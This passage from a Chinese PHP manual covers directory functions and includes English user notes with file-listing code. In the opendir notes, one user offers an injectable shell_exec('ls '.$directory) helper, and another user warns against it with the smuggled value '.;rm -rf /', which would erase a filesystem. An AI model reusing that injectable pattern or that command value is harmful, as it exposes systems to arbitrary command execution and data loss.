相关函数例如 dirname()，is_dir()，mkdir() 和 rmdir()，见文件系统函数一章。

目录
chdir -- 改变目录
chroot -- 改变根目录
dir -- directory 类
closedir -- 关闭目录句柄
getcwd -- 取得当前工作目录
opendir -- 打开目录句柄
readdir -- 从目录句柄中读取条目
rewinddir -- 倒回目录句柄
scandir -- 列出指定路径中的文件和目录

add a note add a note User Contributed Notes
engin bzzzt biz
02-Feb-2006 04:07
To join directory and file names in a cross-platform manner you can use the following function.

function join_path()
{
       $num_args = func_num_args();
       $args = func_get_args();
       $path = $args[0];

       if( $num_args > 1 )
       {
           for ($i = 1; $i < $num_args; $i++)
           {
               $path .= DIRECTORY_SEPARATOR.$args[$i];
           }
       }

       return $path;
}

It should do the following:
$src = join_path( '/foo', 'bar', 'john.jpg' );
echo $src; // On *nix -> /foo/bar/john.jpg

$src = join_path( 'C:\www', 'domain.com', 'foo.jpg' );
echo $src; // On win32 -> C:\\www\\domain.com\\foo.jpg
msh at onliners dot dk
30-Jan-2006 07:49
I would like to present these two simple functions for generating a complete directory listing - as I feel the other examples are to restrictive in terms of usage.

function dirTree($dir) {
   $d = dir($dir);
   while (false !== ($entry = $d->read())) {
       if($entry != '.' && $entry != '..' && is_dir($dir.$entry))
           $arDir[$entry] = dirTree($dir.$entry.'/');
   }
   $d->close();
   return $arDir;
}

function printTree($array, $level=0) {
   foreach($array as $key => $value) {
       echo "<div class='dir' style='width: ".($level*20)."px;'>&nbsp;</div>".$key."<br/>\n";
       if(is_array($value))
           printTree($value, $level+1);
   }
}

Usage is as simple as this:
$dir = "<any directory you like>";
$arDirTree = dirTree($dir);
printTree($arDirTree);

It is easy to add files to the tree also - so enjoy.
Nicolas Merlet - admin(at)merletn.org
22-Jan-2006 11:34
Here is a very similar function to *scandir*, if you are still using PHP4...

This recursive function will return an indexed array containing all directories or files or both (depending on parameters). You can specify the depth you want, as explained below.

<?php

// $path : path to browse
// $maxdepth : how deep to browse (-1=unlimited)
// $mode : "FULL"|"DIRS"|"FILES"
// $d : must not be defined

function searchdir ( $path , $maxdepth = -1 , $mode = "FULL" , $d = 0 )
{
   if ( substr ( $path , strlen ( $path ) - 1 ) != '/' ) { $path .= '/' ; }
   $dirlist = array () ;
   if ( $mode != "FILES" ) { $dirlist[] = $path ; }
   if ( $handle = opendir ( $path ) )
   {
       while ( false !== ( $file = readdir ( $handle ) ) )
       {
           if ( $file != '.' && $file != '..' )
           {
               $file = $path . $file ;
               if ( ! is_dir ( $file ) ) { if ( $mode != "DIRS" ) { $dirlist[] = $file ; } }
               elseif ( $d >=0 && ($d < $maxdepth || $maxdepth < 0) )
               {
                   $result = searchdir ( $file . '/' , $maxdepth , $mode , $d + 1 ) ;
                   $dirlist = array_merge ( $dirlist , $result ) ;
               }
       }
       }
       closedir ( $handle ) ;
   }
   if ( $d == 0 ) { natcasesort ( $dirlist ) ; }
   return ( $dirlist ) ;
}

?>
add a note add a note

后退 | 起点 | 前进
dio_write | 上一级 | chdir


chdir

(PHP 3, PHP 4, PHP 5)

chdir -- 改变目录

说明

bool chdir ( string directory )

将 PHP 的当前目录改为 directory。

参数

directory

新的当前目录

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

范例

例子 1. chdir() 例子

<?php

// current directory
echo getcwd() . "\n";

chdir('public_html');

// current directory
echo getcwd() . "\n";

?>

上例的输出类似于：

/home/vincent
/home/vincent/public_html

注释

注: 当安全模式被激活时，PHP 将检查被操作的目录是否和正在执行的脚本有相同的 UID（所有者）。

参见

getcwd()

add a note add a note User Contributed Notes
jeprubio _At_ gmail dot com
27-May-2005 03:25
If you run this script when $sym_dir is a symbolic link to a directory:
  echo getcwd()."\n";
  chdir ($sym_dir);
  chdir ('../');
  echo getcwd()."\n";

It returns for example:
  /dades/loc/real/mapes/navteq/anloc
  /mapes/anloc

It will not return to the previous directory, it returns to the parent of the real directory where it links the symbolic link.

It's not necessary a bug but I think it's important to have present this.

It could be solved saving the current directory and then returning to it. For example:
  $cwd = getcwd();
  echo getcwd()."\n";
  chdir ($sym_dir);
  chdir ($cwd);
  echo getcwd()."\n";

It returns:
  /dades/loc/real/mapes/navteq/anloc
  /dades/loc/real/mapes/navteq/anloc

Have fun :)
-------
   Josep Rubio (Anloc S.L. www.anloc.net)
add a note add a note

后退 | 起点 | 前进
Directory 目录函数 | 上一级 | chroot


chroot

(PHP 4 >= 4.0.5, PHP 5)

chroot -- 改变根目录

说明

bool chroot ( string directory )

将当前进程的根目录改变为 directory。

本函数仅在系统支持且运行于 CLI，CGI 或嵌入 SAPI 版本时才能正确工作。此外本函数还需要 root 权限。

参数

directory

新目录

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

注释

注: 本函数未在 Windows 平台下实现。

add a note add a note User Contributed Notes
php at schlueters dot de
09-Feb-2003 11:52
PHP needs to be configured with --enable-chroot-func and on my machine only root can use it (user users get "Operation not permitted (errno 1)")
add a note add a note

后退 | 起点 | 前进
chdir | 上一级 | dir


dir

(PHP 3, PHP 4, PHP 5)

dir -- directory 类

说明

class dir {

dir ( string directory )

string path

resource handle

string read ( void )

void rewind ( void )

void close ( void )

}

这是个仿冒面向对象的机制来读取一个目录。给定的 directory 被打开。一旦目录被打开，有两个属性可用。handle 属性可以用在其它目录函数例如 readdir()，rewinddir() 和 closedir() 中。path 属性被设为被打开的目录路径。有三个方法可用：read，rewind 和 close。

范例

例子 1. dir() 例子

请留意下面例子中检查 dir() 返回值的风格。我们明确地测试返回值是否全等于（值和类型都相同 － 更多信息参见比较运算符）FALSE，否则任何目录项的名称求值为 FALSE 的都会导致循环停止。

<?php
$d = dir("/etc/php5");
echo "Handle: " . $d->handle . "\n";
echo "Path: " . $d->path . "\n";
while (false !== ($entry = $d->read())) {
   echo $entry."\n";
}
$d->close();
?>

上例的输出类似于：

Handle: Resource id #2
Path: /etc/php5
.
..
apache
cgi
cli

注释

注: read 方法返回的目录项的顺序依赖于系统。

注: 本函数定义了内部类 Directory，意味着不能再用同样的名字定义用户自己的类。PHP 预定义类的完整列表见预定义类一节。

add a note add a note User Contributed Notes
23-Feb-2006 05:02
Regarding samuel's comment about the dir() function not supporting Unicode properly, it's all in the encoding. The function does NOT internally change Unicode characters into question marks (?), as I was first led to believe. If you simply try to output them in UTF-8, they'll show up just right.
samuel dot l at mushicrew dot com
25-Jan-2006 02:52
Note that the dir object will use the default encoding for non-unicode programs on Windows with PHP 5.x.

So, if you have a file named with characters unsupported by the current default encoding, the dir->read() method will return a wrong entry.

<?php
/*
** This script is on the same directory than a file named with
** unsupported characters for the current default encoding.
*/
$d = dir("./");
while(false !== ($e = $d->read()))
   echo $e . '<br/>';
?>

This will print a "?" for every unsupported characters, and not the right file name. So take care if you check with is_file/is_dir right after enumerating.
radar at frozenplague dot net
13-Jan-2006 04:00
Regarding jaqb's post about a correction to the read_dir function, I have one small fix too if people wish to also list the directories inside this directory and read them into the same array.

<?
function read_dir($dir) {
   $array = array();
   $d = dir($dir);
   while (false !== ($entry = $d->read())) {
       if($entry!='.' && $entry!='..') {
           $entry = $dir.'/'.$entry;
           if(is_dir($entry)) {
               $array[] = $entry;
               $array = array_merge($array, read_dir($entry));
           } else {
               $array[] = $entry;
           }
       }
   }
   $d->close();
   return $array;
}
?>
fordiman at gmail dot com
11-Jan-2006 02:15
Saw the leaf dirs bit...  quick mod:

function preg_ls ($path=".", $rec=false, $pat="/.*/") {
   $pat=preg_replace ("|(/.*/[^S]*)|s", "\\1S", $pat);
   while (substr ($path,-1,1) =="/") $path=substr ($path,0,-1);
   if (!is_dir ($path) ) $path=dirname ($path);
   if ($rec!==true) $rec=false;
   $d=dir ($path);
   $ret=Array ();
   while (false!== ($e=$d->read () ) ) {
       if ( ($e==".") || ($e=="..") ) continue;
       if ($rec && is_dir ($path."/".$e) ) {
           $ret=array_merge ($ret,preg_ls($path."/".$e,$rec,$pat));
           continue;
       }
       if (!preg_match ($pat,$e) ) continue;
       $ret[]=$path."/".$e;
   }
   return (empty ($ret) && preg_match ($pat,basename($path))) ? Array ($path."/") : $ret;
}

example:

foreach (preg_ls ("/usr/share/fluxbox", true, "/[LT]e[sa]/i") as $file) echo $file."\n";

output:

/usr/share/fluxbox/styles/Leaf/
/usr/share/fluxbox/styles/Clean
/usr/share/fluxbox/styles/Testing/
fordiman at gmail dot com
11-Jan-2006 02:05
This one's pretty nice.  After getting frustrated for hunting down .jpg files in my massive music collection (PHP would run out of memory), I thought there should be a preg_ls function.

function preg_ls ($path=".", $rec=false, $pat="/.*/") {
   // it's going to be used repeatedly, ensure we compile it for speed.
   $pat=preg_replace("|(/.*/[^S]*)|s", "\\1S", $pat);
   //Remove trailing slashes from path
   while (substr($path,-1,1)=="/") $path=substr($path,0,-1);
   //also, make sure that $path is a directory and repair any screwups
   if (!is_dir($path)) $path=dirname($path);
   //assert either truth or falsehoold of $rec, allow no scalars to mean truth
   if ($rec!==true) $rec=false;
   //get a directory handle
   $d=dir($path);
   //initialise the output array
   $ret=Array();
   //loop, reading until there's no more to read
   while (false!==($e=$d->read())) {
       //Ignore parent- and self-links
       if (($e==".")||($e=="..")) continue;
       //If we're working recursively and it's a directory, grab and merge
       if ($rec && is_dir($path."/".$e)) {
           $ret=array_merge($ret,preg_ls($path."/".$e,$rec,$pat));
           continue;
       }
       //If it don't match, exclude it
       if (!preg_match($pat,$e)) continue;
       //In all other cases, add it to the output array
       $ret[]=$path."/".$e;
   }
   //finally, return the array
   return $ret;
}

Not bad for a mere 18 lines, don't you think?

Example use:

foreach (preg_ls("/etc/X11", true, "/.*\.conf/i") as $file) echo $file."\n";

Output:

/etc/X11/xkb/README.config
/etc/X11/xorg.conf-vesa
/etc/X11/xorg.conf~
/etc/X11/gui.conf
/etc/X11/xorg.conf
/etc/X11/xorg.conf-fbdev
Anton Backer
05-Jan-2006 11:24
i've modified the script below to get the leaf folders of any directory (folders with no subfolders).

note: this does not return the folder passed in as a parameter, even if it has no subfolders.

<?php
function get_leaf_dirs($dir) {
   $array = array();
   $d = dir($dir);
   while (false !== ($entry = $d->read())) {
       if($entry!='.' && $entry!='..') {
           $entry = $dir.'/'.$entry;
           if(is_dir($entry)) {
               $subdirs = get_leaf_dirs($entry);
               if ($subdirs)
                 $array = array_merge($array, $subdirs);
               else
                 $array[] = $entry;
           }
       }
   }
   $d->close();
   return $array;
}
?>
add a note add a note

后退 | 起点 | 前进
chroot | 上一级 | closedir


closedir

(PHP 3, PHP 4, PHP 5)

closedir -- 关闭目录句柄

说明

void closedir ( resource dir_handle )

关闭由 dir_handle 指定的目录流。流必须之前被 opendir() 所打开。

参数

dir_handle

目录句柄的 resource，之前由 opendir() 所打开的。

范例

例子 1. closedir() 例子

<?php
$dir = "/etc/php5/";

// Open a known directory, read directory into variable and then close
if (is_dir($dir)) {
    if ($dh = opendir($dir)) {
        $directory = readdir($dh);
        closedir($dh);
    }
}
?>

add a note add a note User Contributed Notes
foo at bar dot com
25-Nov-2000 02:35
About deleting a directory after doing a readdir/closedir on it... I'm not sure if this is the solution, but you could try to chdir("/"); before the rmdir to make absolutely sure you aren't standing in the directory (i.e trying to pull out the rug from under yourself).
add a note add a note

后退 | 起点 | 前进
dir | 上一级 | getcwd


getcwd

(PHP 4, PHP 5)

getcwd -- 取得当前工作目录

说明

string getcwd ( void )

取得当前工作目录。

返回值

成功则返回当前工作目录，失败返回 FALSE。

在某些 Unix 的变种下，如果任何父目录没有设定可读或搜索模式，即使当前目录设定了，getcwd() 还是会返回 FALSE。有关模式与权限的更多信息见 chmod()。

范例

例子 1. getcwd() 例子

<?php

// current directory
echo getcwd() . "\n";

chdir('cvs');

// current directory
echo getcwd() . "\n";

?>

上例的输出类似于：

/home/didou
/home/didou/cvs

参见

chdir()
chmod()

add a note add a note User Contributed Notes
emailfire at gmail dot com
08-Dec-2005 10:57
To get the username of the account:

<?php
$dir = getcwd();
$part = explode('/', $dir);
$username = $part[1];
?>

If current directory is '/home/mike/public_html/' it would return mike.
memandeemail at gmail dot com
07-Dec-2005 07:48
Some server's has security options to block the getcwd()

Alternate option:

str_replace($_SERVER['SCRIPT_NAME'],'', $_SERVER['SCRIPT_FILENAME']);
marcus at synchromedia dot co dot uk
04-May-2005 11:41
"On some Unix variants, getcwd() will return FALSE if any one of the parent directories does not have the readable or search mode set, even if the current directory does."

Just so you know, MacOS X is one of these variants (at least 10.4 is for me). You can make it work by applying 'chmod a+rx' to all folders from your site folder upwards.
vermicin at antispam dot gmail dot com
27-Jan-2005 07:48
If your PHP cli binary is built as a cgi binary (check with php_sapi_name), the cwd functions differently than you might expect.

say you have a script /usr/local/bin/purge
you are in /home/username

php CLI: getcwd() gives you /home/username
php CGI: getcwd() gives you /usr/local/bin

This can trip you up if you're writing command line scripts with php. You can override the CGI behavior by adding -C to the php call:

#!/usr/local/bin/php -Cq

and then getcwd() behaves as it does in the CLI-compiled version.
manux at manux dot org
22-Jun-2004 12:44
watch out:
working directory, and thus:
getcwd ()
is "/" while being into a register'ed shutdown function!!!
dave at corecomm dot us
11-Dec-2003 02:14
getcwd() returns the path of the "main" script referenced in the URL.

dirname(__FILE__) will return the path of the script currently executing.

I had written a script that required several class definition scripts from the same directory. It retrieved them based on filename matches and used getcwd to figure out where they were.

Didn't work so well when I needed to call that first script from a new file in a different directory.
fvu at wanadoo dot nl
24-Nov-2003 09:50
Make sure to lowercase the result before comparing Windows paths, because this function returns ambiguous results on Windows.  From within Apache, the returned path is lowercase, while from the command line interface (CLI) the returned path uses the 'real' Windows pathname.  For example, running the 'print getcwd();' command from 'C:\Program Files' returns either

   c:\program files  (Apache)
   C:\Program Files  (CLI)

When the directory is specified using chdir(), getcwd() uses the exact chdir argument.  For example:

   <?php chdir('C:\\PrOgRaM fIlEs'); print getcwd(); ?>

outputs:

   C:\PrOgRaM fIlEs  (Apache & CLI)

The following code can be used to return a unambiguous lowercased cwd when running on Windows:

   <?php $sCwd = (substr(PHP_OS, 0, 3) == 'WIN') ? strtolower(getcwd()) : getcwd(); ?>
raja at rajashahed dot com
07-Nov-2003 02:21
This is  current working directory. X example, your document root is c:\Inetpub\www\htdocs. When You need to know what is your doc_root; /* Like ask yourself  your name ;)*/

$_cur_dir = getcwd();
echo "My doc_root is  $_cur_dir ";
// it prints out : My doc_root is c:\Inetpub\www\htdocs

/* Usually you need it after using  chdir() to know what is
running in current directory */
Regards
Raja
add a note add a note

后退 | 起点 | 前进
closedir | 上一级 | opendir


opendir

(PHP 3, PHP 4, PHP 5)

opendir -- 打开目录句柄

说明

resource opendir ( string path [, resource context] )

打开一个目录句柄，可用于之后的 closedir()，readdir() 和 rewinddir() 调用中。

参数

path

要打开的目录路径

context

context 参数的说明见手册中的 Streams API 一章。

返回值

如果成功则返回目录句柄的 resource，失败则返回 FALSE。

如果 path 不是一个合法的目录或者因为权限限制或文件系统错误而不能打开目录，opendir() 返回 FALSE 并产生一个 E_WARNING 级别的 PHP 错误信息。可以在 opendir() 前面加上“@”符号来抑制错误信息的输出。

更新日志

版本 | 说明
5.0.0 | path 支持 ftp:// URL wrapper
4.3.0 | path 可以是任何支持目录列表的 URL，不过在 PHP 4 中只有 file:// URL wrapper 支持此功能

范例

例子 1. opendir() 例子

<?php
$dir = "/etc/php5/";

// Open a known directory, and proceed to read its contents
if (is_dir($dir)) {
    if ($dh = opendir($dir)) {
        while (($file = readdir($dh)) !== false) {
            echo "filename: $file : filetype: " . filetype($dir . $file) . "\n";
        }
        closedir($dh);
    }
}
?>

上例的输出类似于：

filename: . : filetype: dir
filename: .. : filetype: dir
filename: apache : filetype: dir
filename: cgi : filetype: dir
filename: cli : filetype: dir

参见

is_dir()
readdir()
Dir

add a note add a note User Contributed Notes
tim2005
13-May-2006 08:04
Hello,

A friend of mine is running a webhost, I think i found a security leak with this script:

<?php
function select_files($dir, $label = "", $select_name, $curr_val = "", $char_length = 30) {
   $teller = 0;
   if ($handle = opendir($dir)) {
       $mydir = ($label != "") ? "<label for=\"".$select_name."\">".$label."</label>\n" : "";
       $mydir .= "<select name=\"".$select_name."\">\n";
       $curr_val = (isset($_REQUEST[$select_name])) ? $_REQUEST[$select_name] : $curr_val;
       $mydir .= ($curr_val == "") ? "  <option value=\"\" selected>...\n" : "<option value=\"\">...\n";
       while (false !== ($file = readdir($handle))) {
           $files[] = $file;
       }
       closedir($handle);
       sort($files);
       foreach ($files as $val) {
           if (is_file($dir.$val)) { // show only real files (ver. 1.01)
               $mydir .= "    <option value=\"".$val."\"";
               $mydir .= ($val == $curr_val) ? " selected>" : ">";
               $mydir .= (strlen($val) > $char_length) ? substr($val, 0, $char_length)."...\n" : $val."\n";
               $teller++;
           }
       }
       $mydir .= "</select>";
   }
   if ($teller == 0) {
       $mydir = "No files!";
   } else {
       return $mydir;
   }
}

echo select_files("C:/winnt/", "", "", "", "60");
?>

Now i can see hist files in his windows dir. Is this a leak? and is it fixable? I'll report this as bug too!

Tim2005
tozeiler
15-Apr-2006 04:34
"opendir" said:
------------------------------------------------------------------

23-Jan-2006 08:04
I Just wanted a directory list and a clickable link to download the files

<snip>
------
<?
echo ("<h1>Directory Overzicht:</h1>");

function getFiles($path) {

<snip complicated function contents>

------------------------------------------------------------------
Here's a more straightforward way to linkify $path/files:

<?php

echo "<h1>Directory Overzicht:</h1>";

$dh = opendir($path);
while (($file = readdir($dh)) !== false) {
   echo "<a href='$path/$file'>$file</a><br />";
}
closedir($dh);

?>
23-Jan-2006 11:04
I Just wanted a directory list and a clickable link to download the files because my plesk server does not give me this function. I edited the script a little bit.

Many thanks from a script-noob

------
<?
echo ("<h1>Directory Overzicht:</h1>");

function getFiles($path) {
   //Function takes a path, and returns a numerically indexed array of associative arrays containing file information,
   //sorted by the file name (case insensitive).  If two files are identical when compared without case, they will sort
   //relative to each other in the order presented by readdir()
   $files = array();
   $fileNames = array();
   $i = 0;

   if (is_dir($path)) {
       if ($dh = opendir($path)) {
           while (($file = readdir($dh)) !== false) {
               if ($file == "." || $file == "..") continue;
               $fullpath = $path . "/" . $file;
               $fkey = strtolower($file);
               while (array_key_exists($fkey,$fileNames)) $fkey .= " ";
               $a = stat($fullpath);
               $files[$fkey]['size'] = $a['size'];
               if ($a['size'] == 0) $files[$fkey]['sizetext'] = "-";
               else if ($a['size'] > 1024) $files[$fkey]['sizetext'] = (ceil($a['size']/1024*100)/100) . " K";
               else if ($a['size'] > 1024*1024) $files[$fkey]['sizetext'] = (ceil($a['size']/(1024*1024)*100)/100) . " Mb";
               else $files[$fkey]['sizetext'] = $a['size'] . " bytes";
               $files[$fkey]['name'] = $file;
               $files[$fkey]['type'] = filetype($fullpath);
               $fileNames[$i++] = $fkey;
           }
           closedir($dh);
       } else die ("Cannot open directory:  $path");
   } else die ("Path is not a directory:  $path");
   sort($fileNames,SORT_STRING);
   $sortedFiles = array();
   $i = 0;
   foreach($fileNames as $f) $sortedFiles[$i++] = $files[$f];

   return $sortedFiles;
}

$files = getFiles("./");
foreach ($files as $file) print "&nbsp;&nbsp;&nbsp;&nbsp;<b><a href=\"$file[name]\">$file[name]</a></b><br>\n";
?>
mstabile75 at gmail dot com
29-Dec-2005 12:26
In my previous post I ran into a problem with the "global" definition of $directorylist.  If I called the function more than once on the same page it would combine the file lists. I looked at Lasse Dalegaard's example and used the following solution.

remove global definition
     global $directorylist;

REPLACE
<?
if ((($maxlevel) == "all") or ($maxlevel > $level)) {
   filelist($startdir . $file . "/", $searchSubdirs, $directoriesonly, $maxlevel, $level + 1);
}
?>
WITH
<?
if ((($maxlevel) == "all") or ($maxlevel > $level)) {
   $list2 = filelist($startdir . $file . "/", $searchSubdirs, $directoriesonly, $maxlevel, $level + 1);
   if(is_array($list2)) {
       $directorylist = array_merge($directorylist, $list2);
   }
}
?>
mstabile75 at gmail dot com
27-Dec-2005 11:04
<?php
/* The below function will list all folders and files within a directory
It is a recursive function that uses a global array.  The global array was the easiest
way for me to work with an array in a recursive function
*This function has no limit on the number of levels down you can search.
*The array structure was one that worked for me.
ARGUMENTS:
$startdir => specify the directory to start from; format: must end in a "/"
$searchSubdirs => True/false; True if you want to search subdirectories
$directoriesonly => True/false; True if you want to only return directories
$maxlevel => "all" or a number; specifes the number of directories down that you want to search
$level => integer; directory level that the function is currently searching
*/
function filelist ($startdir="./", $searchSubdirs=1, $directoriesonly=0, $maxlevel="all", $level=1) {
   //list the directory/file names that you want to ignore
   $ignoredDirectory[] = ".";
   $ignoredDirectory[] = "..";
   $ignoredDirectory[] = "_vti_cnf";
   global $directorylist;    //initialize global array
   if (is_dir($startdir)) {
       if ($dh = opendir($startdir)) {
           while (($file = readdir($dh)) !== false) {
               if (!(array_search($file,$ignoredDirectory) > -1)) {
                 if (filetype($startdir . $file) == "dir") {
                       //build your directory array however you choose;
                       //add other file details that you want.
                       $directorylist[$startdir . $file]['level'] = $level;
                       $directorylist[$startdir . $file]['dir'] = 1;
                       $directorylist[$startdir . $file]['name'] = $file;
                       $directorylist[$startdir . $file]['path'] = $startdir;
                       if ($searchSubdirs) {
                           if ((($maxlevel) == "all") or ($maxlevel > $level)) {
                               filelist($startdir . $file . "/", $searchSubdirs, $directoriesonly, $maxlevel, $level + 1);
                           }
                       }
                   } else {
                       if (!$directoriesonly) {
                           //if you want to include files; build your file array
                           //however you choose; add other file details that you want.
                         $directorylist[$startdir . $file]['level'] = $level;
                         $directorylist[$startdir . $file]['dir'] = 0;
                         $directorylist[$startdir . $file]['name'] = $file;
                         $directorylist[$startdir . $file]['path'] = $startdir;
     }}}}
           closedir($dh);
}}
return($directorylist);
}
$files = filelist("./",1,1); // call the function
foreach ($files as $list) {//print array
   echo "Directory: " . $list['dir'] . " => Level: " . $list['level'] . " => Name: " . $list['name'] . " => Path: " . $list['path'] ."<br>";
}?>
chrys at mytechjournal dot com
11-Dec-2005 03:16
I wrote a function to recursively delete files from a starting directory.  I had to do this because my server doesn't allow me to delete files that apache writes because I don't have permissions, so... I let apache do the work.

<?php
$dir = "/path/to/base/dir";

recursive_delete($dir);

function recursive_delete( $dir )
{
       if (is_dir($dir)) {
           if ($dh = opendir($dir)) {
               while (($file = readdir($dh)) !== false ) {
                       if( $file != "." && $file != ".." )
                       {
                               if( is_dir( $dir . $file ) )
                               {
                                       echo "Entering Directory: $dir$file<br/>";
                                       recursive_delete( $dir . $file . "/" );
                                       echo "Removing Directory: $dir$file<br/><br/>";
                                       rmdir( $dir . $file );
                               }
                               else
                               {
                                       echo "Deleting file: $dir$file<br/>";
                                       unlink( $dir . $file );
                               }
                       }
               }
               closedir($dh);
           }
       }
}
?>
neale-php at woozle dot org
01-Dec-2005 01:41
oryan's example is still sub-optimal, even if people using it never ever substitute a variable for directory.

Just use PHP's glob() function, which will be faster and more efficient anyway since it doesn't have to launch a shell and run the ls program (that's what the shell_exec does).

$result = glob("directory/*");
oryan at zareste dot com
01-Nov-2005 07:19
There might be a bit of truth to that.  If, by chance, the webmaster made a form saying "type a random directory name here" and used that in the function, there'd be a problem.  So let's eliminate the 'function' part

$files=shell_exec("ls directory");
$result=explode("\n",$files);

'$result' will now be an array of the directory files.  You can use variables in the shell_exec command, but don't use anything that could be user-sent.
aligma at gmail dot com
01-Nov-2005 11:54
The example given by oryan at zareste dot com may also be a "simpler faster way" of creating security holes in your code. The function listed above prevents risking execution of abitrary shell commands listed after a semicolon (;) in your directory name.
Example: $directory = '.;rm -rf /';
Result: List this directory, erase contents of filesystem.
oryan at zareste dot com
31-Oct-2005 09:33
There's a simpler faster way to get a whole directory if you're using PHP 4.  This function uses shell_exec - http://us3.php.net/shell_exec - and assumes you're using Unix/Linux and have shell access -

function dir($directory){
   $files=shell_exec("ls ".$directory);
   return explode("\n",$files);
}

This returns an array with all the files.
This way, you can use modifiers like -t, which shows files in order of modification time ($files=shell_exec("ls -t ".$directory);).  Enough tweaking and you can use it on Windows, though I can't say how since I don't have a Windows server to try it on
asharm4 at ilstu dot edu
08-Oct-2005 12:56
//this is a function I wrote to sort out the contents of the directory date wise for display.

 $content_array = array();

//set current working directory
$dirname = "C:\temp";

//Load Directory Into Array
$handle=opendir($dirname);
$i=0;
while ($file = readdir($handle))
if ($file != "." && $file != "..")
{
       $content_array[$i][0] = $file;
       $content_array[$i][1] = date ("Y m d", filemtime($dirname."/".$file));
       $i++;
}
//close the directory handle
closedir($handle);

//these lines sort the contents of the directory by the date
   foreach($content_array as $res)
       $sortAux[] = $res[1];
   array_multisort($sortAux, SORT_ASC, $content_array);
06-Oct-2005 12:40
This function sorts files by name as strings, but without regard to case.  It also does some handy string formatting of the file size information.

<?
function getFiles($path) {
   //Function takes a path, and returns a numerically indexed array of associative arrays containing file information,
   //sorted by the file name (case insensitive).  If two files are identical when compared without case, they will sort
   //relative to each other in the order presented by readdir()
   $files = array();
   $fileNames = array();
   $i = 0;

   if (is_dir($path)) {
       if ($dh = opendir($path)) {
           while (($file = readdir($dh)) !== false) {
               if ($file == "." || $file == "..") continue;
               $fullpath = $path . "/" . $file;
               $fkey = strtolower($file);
               while (array_key_exists($fkey,$fileNames)) $fkey .= " ";
               $a = stat($fullpath);
               $files[$fkey]['size'] = $a['size'];
               if ($a['size'] == 0) $files[$fkey]['sizetext'] = "-";
               else if ($a['size'] > 1024) $files[$fkey]['sizetext'] = (ceil($a['size']/1024*100)/100) . " K";
               else if ($a['size'] > 1024*1024) $files[$fkey]['sizetext'] = (ceil($a['size']/(1024*1024)*100)/100) . " Mb";
               else $files[$fkey]['sizetext'] = $a['size'] . " bytes";
               $files[$fkey]['name'] = $file;
               $files[$fkey]['type'] = filetype($fullpath);
               $fileNames[$i++] = $fkey;
           }
           closedir($dh);
       } else die ("Cannot open directory:  $path");
   } else die ("Path is not a directory:  $path");
   sort($fileNames,SORT_STRING);
   $sortedFiles = array();
   $i = 0;
   foreach($fileNames as $f) $sortedFiles[$i++] = $files[$f];

   return $sortedFiles;
}

$files = getFiles("C:");
foreach ($files as $file) print "$file[name]<br>\n";
?>
Lasse Dalegaard
22-May-2005 03:25
I made a function for finding all files in a specified directory and all subdirectories. It can be quite usefull when searching in alot of files in alot subdirectories. The function returns an array with the path of all the files found.

<?
function getFiles($directory) {
   // Try to open the directory
   if($dir = opendir($directory)) {
       // Create an array for all files found
       $tmp = Array();

       // Add the files
       while($file = readdir($dir)) {
           // Make sure the file exists
           if($file != "." && $file != ".." && $file[0] != '.') {
               // If it's a directiry, list all files within it
               if(is_dir($directory . "/" . $file)) {
                   $tmp2 = getFiles($directory . "/" . $file);
                   if(is_array($tmp2)) {
                       $tmp = array_merge($tmp, $tmp2);
                   }
               } else {
                   array_push($tmp, $directory . "/" . $file);
               }
           }
       }

       // Finish off the function
       closedir($dir);
       return $tmp;
   }
}

// Example of use
print_r(getFiles('.')); // This will find all files in the current directory and all subdirectories
?>
brett at medeaproject dot co dot za
11-May-2005 03:02
This is a little script i wrote to generate a home page on my dev box by parsing the contents of my htdocs directory. It is encapsulated in a html table

Arb but useful if you are as lazy as I am ;)
<?
$handle = opendir("./");

while (($file = readdir($handle))!==false) {
  if(is_dir($file)){
   if($file != "." && $file != ".."){?>
  <tr>
  <td align="center" bgcolor="FFFFFF"><a href="<?= $file;?>"><?php echo ucwords($file)?></a></strong></td>
  </tr>
  <?php

     }
  }
}
closedir($handle);
$handle = opendir("./");
while (($file = readdir($handle))!==false) {
  if(is_file($file)){
   if($file != "." && $file != ".."){?>
  <tr>
  <td align="center" bgcolor="FFFFFF"><a href="<?= $file?>"><?php echo ucwords($file)?></a></strong></td>
  </tr>
  <?php

     }
  }
}
closedir($handle);
?>
brett at medeaproject dot co dot za
11-May-2005 03:01
This is a little script i wrote to generate a home page on my dev box by parsing the contents of my htdocs directory. It is encapsulated in a html table

Arb but useful if you are as lazy as I am ;)
<?
$handle = opendir("./");

while (($file = readdir($handle))!==false) {
  if(is_dir($file)){
   if($file != "." && $file != ".."){?>
  <tr>
  <td align="center" bgcolor="FFFFFF"><a href="<?= $file;?>"><?php echo ucwords($file)?></a></strong></td>
  </tr>
  <?php

     }
  }
}
closedir($handle);
$handle = opendir("./");
while (($file = readdir($handle))!==false) {
  if(is_file($file)){
   if($file != "." && $file != ".."){?>
  <tr>
  <td align="center" bgcolor="FFFFFF"><a href="<?= $file?>"><?php echo ucwords($file)?></a></strong></td>
  </tr>
  <?php

     }
  }
}
closedir($handle);
?>
iamnotanerd
30-Mar-2005 01:38
Here is a snippet of the code that I created to search for a file..recursively open the directories and search for a match..
<?
function search($target, $directory){

   if(is_dir($directory)){
       $direc = opendir($directory);
       while(false !== ($file = readdir($direc))){

           if($file !="." && $file != ".."){

               if(is_file($directory."/".$file)){
                   if(preg_match("/$target/i", $file)){
                                           echo "<a href=\"$directory/$file\">$file</a><br>";
                                       }
               }else if(is_dir($directory."/".$file)){
                   search($target,$directory."/".$file);

               }

           }
       }
       closedir($direc);
   }

   return ;
}
?>
hendrik dot wermer at gmx dot de
08-Feb-2005 09:06
Here's another version of directory listing, since I had some problems using the examples below. It will display the content of the current directory, sorted by directories and files.
You can also search subdirectories by setting $maxDepth > 0. There's a link to other directories, so you can easily switch to the parent directory or to other directories in the current directory.
Hope it helps!

<?php
// show directory content
function showDir($dir, $i, $maxDepth){
   $i++;
   if($checkDir = opendir($dir)){
       $cDir = 0;
       $cFile = 0;
       // check all files in $dir, add to array listDir or listFile
       while($file = readdir($checkDir)){
           if($file != "." && $file != ".."){
               if(is_dir($dir . "/" . $file)){
                   $listDir[$cDir] = $file;
                   $cDir++;
               }
               else{
                   $listFile[$cFile] = $file;
                   $cFile++;
               }
           }
       }

       // show directories
       if(count($listDir) > 0){
           sort($listDir);
           for($j = 0; $j < count($listDir); $j++){
               echo "
               <tr>";
                   $spacer = "";
                   for($l = 0; $l < $i; $l++) $spacer .= "&emsp;";
                   // create link
